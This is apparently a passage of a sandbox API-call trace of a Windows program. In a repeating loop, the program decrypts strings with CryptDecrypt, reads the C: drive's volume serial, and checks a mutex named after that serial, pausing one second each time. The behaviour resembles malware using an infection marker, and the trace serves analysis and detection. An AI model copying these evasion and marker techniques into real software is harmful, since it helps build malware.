	[0245.612] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x688fc8 | out: hHeap=0x680000) returned 1
	[0245.612] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689310 | out: hHeap=0x680000) returned 1
	[0245.612] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xfcfa44, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xfcfa44*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0245.612] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6892e8 | out: hHeap=0x680000) returned 1
	[0245.612] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x40) returned 0x689380
	[0245.612] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf9d0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcfa38 | out: phKey=0xfcfa38*=0x1513c0) returned 1
	[0245.612] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0xfcfa20, dwFlags=0x0) returned 1
	[0245.612] CryptDecrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x689380, pdwDataLen=0xfcf9ec | out: pbData=0x689380, pdwDataLen=0xfcf9ec) returned 1
	[0245.612] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0245.612] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x34) returned 0x6893c8
	[0245.612] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x2c0
	[0245.612] WaitForSingleObject (hHandle=0x2c0, dwMilliseconds=0x0) returned 0x102
	[0245.612] CloseHandle (hObject=0x2c0) returned 1
	[0245.612] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689380 | out: hHeap=0x680000) returned 1
	[0245.612] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6893c8 | out: hHeap=0x680000) returned 1
	[0245.612] Sleep (dwMilliseconds=0x3e8) 
	[0246.629] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x20) returned 0x689220
	[0246.629] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf99c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcfa04 | out: phKey=0xfcfa04*=0x1514c0) returned 1
	[0246.629] CryptSetKeyParam (hKey=0x1514c0, dwParam=0x1, pbData=0xfcf9ec, dwFlags=0x0) returned 1
	[0246.629] CryptDecrypt (in: hKey=0x1514c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x689220, pdwDataLen=0xfcf9b8 | out: pbData=0x689220, pdwDataLen=0xfcf9b8) returned 1
	[0246.629] CryptDestroyKey (hKey=0x1514c0) returned 1
	[0246.629] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x1e) returned 0x689338
	[0246.629] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x1e) returned 0x689108
	[0246.629] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x90) returned 0x68cf98
	[0246.629] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf974, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcf9dc | out: phKey=0xfcf9dc*=0x1514c0) returned 1
	[0246.629] CryptSetKeyParam (hKey=0x1514c0, dwParam=0x1, pbData=0xfcf9c4, dwFlags=0x0) returned 1
	[0246.629] CryptDecrypt (in: hKey=0x1514c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x68cf98, pdwDataLen=0xfcf990 | out: pbData=0x68cf98, pdwDataLen=0xfcf990) returned 1
	[0246.629] CryptDestroyKey (hKey=0x1514c0) returned 1
	[0246.629] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x68cf98 | out: hHeap=0x680000) returned 1
	[0246.629] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x689338, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0246.629] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689108 | out: hHeap=0x680000) returned 1
	[0246.629] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689220 | out: hHeap=0x680000) returned 1
	[0246.629] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xfcfa44, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xfcfa44*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0246.629] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689338 | out: hHeap=0x680000) returned 1
	[0246.629] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x40) returned 0x689380
	[0246.629] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf9d0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcfa38 | out: phKey=0xfcfa38*=0x1513c0) returned 1
	[0246.630] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0xfcfa20, dwFlags=0x0) returned 1
	[0246.630] CryptDecrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x689380, pdwDataLen=0xfcf9ec | out: pbData=0x689380, pdwDataLen=0xfcf9ec) returned 1
	[0246.630] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0246.630] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x34) returned 0x6893c8
	[0246.630] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x2c0
	[0246.630] WaitForSingleObject (hHandle=0x2c0, dwMilliseconds=0x0) returned 0x102
	[0246.630] CloseHandle (hObject=0x2c0) returned 1
	[0246.630] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689380 | out: hHeap=0x680000) returned 1
	[0246.630] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6893c8 | out: hHeap=0x680000) returned 1
	[0246.630] Sleep (dwMilliseconds=0x3e8) 
	[0247.751] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x20) returned 0x689338
	[0247.751] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf99c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcfa04 | out: phKey=0xfcfa04*=0x151200) returned 1
	[0247.751] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0xfcf9ec, dwFlags=0x0) returned 1
	[0247.751] CryptDecrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x689338, pdwDataLen=0xfcf9b8 | out: pbData=0x689338, pdwDataLen=0xfcf9b8) returned 1
	[0247.751] CryptDestroyKey (hKey=0x151200) returned 1
	[0247.752] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x1e) returned 0x6890e0
	[0247.752] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x1e) returned 0x688fc8
	[0247.752] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x90) returned 0x68cb70
	[0247.752] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf974, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcf9dc | out: phKey=0xfcf9dc*=0x1510c0) returned 1
	[0247.752] CryptSetKeyParam (hKey=0x1510c0, dwParam=0x1, pbData=0xfcf9c4, dwFlags=0x0) returned 1
	[0247.752] CryptDecrypt (in: hKey=0x1510c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x68cb70, pdwDataLen=0xfcf990 | out: pbData=0x68cb70, pdwDataLen=0xfcf990) returned 1
	[0247.752] CryptDestroyKey (hKey=0x1510c0) returned 1
	[0247.752] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x68cb70 | out: hHeap=0x680000) returned 1
	[0247.752] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6890e0, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0247.752] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x688fc8 | out: hHeap=0x680000) returned 1
	[0247.752] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689338 | out: hHeap=0x680000) returned 1
	[0247.752] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xfcfa44, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xfcfa44*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0247.752] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6890e0 | out: hHeap=0x680000) returned 1
	[0247.752] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x40) returned 0x689380
	[0247.752] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf9d0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcfa38 | out: phKey=0xfcfa38*=0x1513c0) returned 1
	[0247.752] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0xfcfa20, dwFlags=0x0) returned 1
	[0247.752] CryptDecrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x689380, pdwDataLen=0xfcf9ec | out: pbData=0x689380, pdwDataLen=0xfcf9ec) returned 1
	[0247.752] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0247.752] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x34) returned 0x6893c8
	[0247.752] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x2c0
	[0247.752] WaitForSingleObject (hHandle=0x2c0, dwMilliseconds=0x0) returned 0x102
	[0247.752] CloseHandle (hObject=0x2c0) returned 1
	[0247.752] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689380 | out: hHeap=0x680000) returned 1
	[0247.753] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6893c8 | out: hHeap=0x680000) returned 1
	[0247.753] Sleep (dwMilliseconds=0x3e8) 
	[0248.765] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x20) returned 0x688ff0
	[0248.765] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf99c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcfa04 | out: phKey=0xfcfa04*=0x151180) returned 1
	[0248.765] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0xfcf9ec, dwFlags=0x0) returned 1
	[0248.765] CryptDecrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x688ff0, pdwDataLen=0xfcf9b8 | out: pbData=0x688ff0, pdwDataLen=0xfcf9b8) returned 1
	[0248.765] CryptDestroyKey (hKey=0x151180) returned 1
	[0248.765] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x1e) returned 0x6891f8
	[0248.765] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x1e) returned 0x6890e0
	[0248.765] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x90) returned 0x68c580
	[0248.765] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf974, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcf9dc | out: phKey=0xfcf9dc*=0x151080) returned 1
	[0248.765] CryptSetKeyParam (hKey=0x151080, dwParam=0x1, pbData=0xfcf9c4, dwFlags=0x0) returned 1
	[0248.765] CryptDecrypt (in: hKey=0x151080, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x68c580, pdwDataLen=0xfcf990 | out: pbData=0x68c580, pdwDataLen=0xfcf990) returned 1
	[0248.765] CryptDestroyKey (hKey=0x151080) returned 1
	[0248.765] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x68c580 | out: hHeap=0x680000) returned 1
	[0248.765] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6891f8, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0248.765] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6890e0 | out: hHeap=0x680000) returned 1
	[0248.765] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x688ff0 | out: hHeap=0x680000) returned 1
	[0248.765] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xfcfa44, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xfcfa44*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0248.765] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6891f8 | out: hHeap=0x680000) returned 1
	[0248.765] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x40) returned 0x689380
	[0248.765] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf9d0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcfa38 | out: phKey=0xfcfa38*=0x151100) returned 1
	[0248.765] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0xfcfa20, dwFlags=0x0) returned 1
	[0248.765] CryptDecrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x689380, pdwDataLen=0xfcf9ec | out: pbData=0x689380, pdwDataLen=0xfcf9ec) returned 1
	[0248.765] CryptDestroyKey (hKey=0x151100) returned 1
	[0248.765] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x34) returned 0x6893c8
	[0248.765] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x2d8
	[0248.766] WaitForSingleObject (hHandle=0x2d8, dwMilliseconds=0x0) returned 0x102
	[0248.766] CloseHandle (hObject=0x2d8) returned 1
	[0248.766] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689380 | out: hHeap=0x680000) returned 1
	[0248.766] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6893c8 | out: hHeap=0x680000) returned 1
	[0248.766] Sleep (dwMilliseconds=0x3e8) 
	[0249.934] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x20) returned 0x689310
	[0249.934] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf99c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcfa04 | out: phKey=0xfcfa04*=0x151280) returned 1
	[0249.934] CryptSetKeyParam (hKey=0x151280, dwParam=0x1, pbData=0xfcf9ec, dwFlags=0x0) returned 1
	[0249.934] CryptDecrypt (in: hKey=0x151280, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x689310, pdwDataLen=0xfcf9b8 | out: pbData=0x689310, pdwDataLen=0xfcf9b8) returned 1
	[0249.934] CryptDestroyKey (hKey=0x151280) returned 1
	[0249.934] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x1e) returned 0x6892c0
	[0249.934] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x1e) returned 0x689040
	[0249.934] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x90) returned 0x68cf98
	[0249.934] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf974, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcf9dc | out: phKey=0xfcf9dc*=0x151600) returned 1
	[0249.934] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0xfcf9c4, dwFlags=0x0) returned 1
	[0249.934] CryptDecrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x68cf98, pdwDataLen=0xfcf990 | out: pbData=0x68cf98, pdwDataLen=0xfcf990) returned 1
	[0249.934] CryptDestroyKey (hKey=0x151600) returned 1
	[0249.934] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x68cf98 | out: hHeap=0x680000) returned 1
	[0249.934] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6892c0, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0249.934] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689040 | out: hHeap=0x680000) returned 1
	[0249.934] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689310 | out: hHeap=0x680000) returned 1
	[0249.934] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xfcfa44, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xfcfa44*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0249.934] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6892c0 | out: hHeap=0x680000) returned 1
	[0249.934] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x40) returned 0x689380
	[0249.934] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf9d0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcfa38 | out: phKey=0xfcfa38*=0x151280) returned 1
	[0249.934] CryptSetKeyParam (hKey=0x151280, dwParam=0x1, pbData=0xfcfa20, dwFlags=0x0) returned 1
	[0249.934] CryptDecrypt (in: hKey=0x151280, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x689380, pdwDataLen=0xfcf9ec | out: pbData=0x689380, pdwDataLen=0xfcf9ec) returned 1
	[0249.934] CryptDestroyKey (hKey=0x151280) returned 1
	[0249.934] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x34) returned 0x6893c8
	[0249.934] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x2c0
	[0249.934] WaitForSingleObject (hHandle=0x2c0, dwMilliseconds=0x0) returned 0x102
	[0249.934] CloseHandle (hObject=0x2c0) returned 1
	[0249.935] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689380 | out: hHeap=0x680000) returned 1
	[0249.935] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6893c8 | out: hHeap=0x680000) returned 1
	[0249.935] Sleep (dwMilliseconds=0x3e8) 
	[0251.062] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x20) returned 0x689158
	[0251.062] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf99c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcfa04 | out: phKey=0xfcfa04*=0x151140) returned 1
	[0251.062] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0xfcf9ec, dwFlags=0x0) returned 1
	[0251.062] CryptDecrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x689158, pdwDataLen=0xfcf9b8 | out: pbData=0x689158, pdwDataLen=0xfcf9b8) returned 1
	[0251.062] CryptDestroyKey (hKey=0x151140) returned 1
	[0251.062] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x1e) returned 0x6892e8
	[0251.062] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x1e) returned 0x688ff0
	[0251.062] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x90) returned 0x68d0c8
	[0251.062] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf974, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcf9dc | out: phKey=0xfcf9dc*=0x1517c0) returned 1
	[0251.062] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0xfcf9c4, dwFlags=0x0) returned 1
	[0251.062] CryptDecrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x68d0c8, pdwDataLen=0xfcf990 | out: pbData=0x68d0c8, pdwDataLen=0xfcf990) returned 1
	[0251.062] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0251.062] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x68d0c8 | out: hHeap=0x680000) returned 1
	[0251.062] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6892e8, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0251.062] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x688ff0 | out: hHeap=0x680000) returned 1
	[0251.062] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689158 | out: hHeap=0x680000) returned 1
	[0251.062] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xfcfa44, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xfcfa44*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0251.062] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6892e8 | out: hHeap=0x680000) returned 1
	[0251.062] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x40) returned 0x689380
	[0251.108] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf9d0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcfa38 | out: phKey=0xfcfa38*=0x151640) returned 1
	[0251.108] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0xfcfa20, dwFlags=0x0) returned 1
	[0251.108] CryptDecrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x689380, pdwDataLen=0xfcf9ec | out: pbData=0x689380, pdwDataLen=0xfcf9ec) returned 1
	[0251.108] CryptDestroyKey (hKey=0x151640) returned 1
	[0251.108] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x34) returned 0x6893c8
	[0251.108] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x2d4
	[0251.108] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0x0) returned 0x102
	[0251.108] CloseHandle (hObject=0x2d4) returned 1
	[0251.109] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689380 | out: hHeap=0x680000) returned 1
	[0251.109] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6893c8 | out: hHeap=0x680000) returned 1
	[0251.109] Sleep (dwMilliseconds=0x3e8) 
	[0252.295] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x20) returned 0x689158
	[0252.295] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf99c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcfa04 | out: phKey=0xfcfa04*=0x151040) returned 1
	[0252.295] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0xfcf9ec, dwFlags=0x0) returned 1
	[0252.295] CryptDecrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x689158, pdwDataLen=0xfcf9b8 | out: pbData=0x689158, pdwDataLen=0xfcf9b8) returned 1
	[0252.295] CryptDestroyKey (hKey=0x151040) returned 1
	[0252.295] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x1e) returned 0x688fc8
	[0252.295] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x1e) returned 0x689040
	[0252.295] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x90) returned 0x68d0c8
	[0252.295] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf974, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcf9dc | out: phKey=0xfcf9dc*=0x1512c0) returned 1
	[0252.295] CryptSetKeyParam (hKey=0x1512c0, dwParam=0x1, pbData=0xfcf9c4, dwFlags=0x0) returned 1
	[0252.295] CryptDecrypt (in: hKey=0x1512c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x68d0c8, pdwDataLen=0xfcf990 | out: pbData=0x68d0c8, pdwDataLen=0xfcf990) returned 1
	[0252.295] CryptDestroyKey (hKey=0x1512c0) returned 1
	[0252.295] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x68d0c8 | out: hHeap=0x680000) returned 1
	[0252.295] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x688fc8, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0252.295] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689040 | out: hHeap=0x680000) returned 1
	[0252.295] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689158 | out: hHeap=0x680000) returned 1
	[0252.295] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xfcfa44, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xfcfa44*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0252.295] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x688fc8 | out: hHeap=0x680000) returned 1
	[0252.295] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x40) returned 0x68d7f8
	[0252.295] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf9d0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcfa38 | out: phKey=0xfcfa38*=0x1514c0) returned 1
	[0252.295] CryptSetKeyParam (hKey=0x1514c0, dwParam=0x1, pbData=0xfcfa20, dwFlags=0x0) returned 1
	[0252.295] CryptDecrypt (in: hKey=0x1514c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x68d7f8, pdwDataLen=0xfcf9ec | out: pbData=0x68d7f8, pdwDataLen=0xfcf9ec) returned 1
	[0252.295] CryptDestroyKey (hKey=0x1514c0) returned 1
	[0252.295] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x34) returned 0x689380
	[0252.295] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x2f0
	[0252.295] WaitForSingleObject (hHandle=0x2f0, dwMilliseconds=0x0) returned 0x102
	[0252.295] CloseHandle (hObject=0x2f0) returned 1
	[0252.295] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x68d7f8 | out: hHeap=0x680000) returned 1
	[0252.295] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689380 | out: hHeap=0x680000) returned 1
	[0252.295] Sleep (dwMilliseconds=0x3e8) 
	[0253.337] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x20) returned 0x689068
	[0253.337] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf99c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcfa04 | out: phKey=0xfcfa04*=0x151400) returned 1
	[0253.337] CryptSetKeyParam (hKey=0x151400, dwParam=0x1, pbData=0xfcf9ec, dwFlags=0x0) returned 1
	[0253.337] CryptDecrypt (in: hKey=0x151400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x689068, pdwDataLen=0xfcf9b8 | out: pbData=0x689068, pdwDataLen=0xfcf9b8) returned 1
	[0253.337] CryptDestroyKey (hKey=0x151400) returned 1
	[0253.337] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x1e) returned 0x6892c0
	[0253.337] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x1e) returned 0x689090
	[0253.337] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x90) returned 0x68c618
	[0253.337] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf974, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcf9dc | out: phKey=0xfcf9dc*=0x151440) returned 1
	[0253.337] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0xfcf9c4, dwFlags=0x0) returned 1
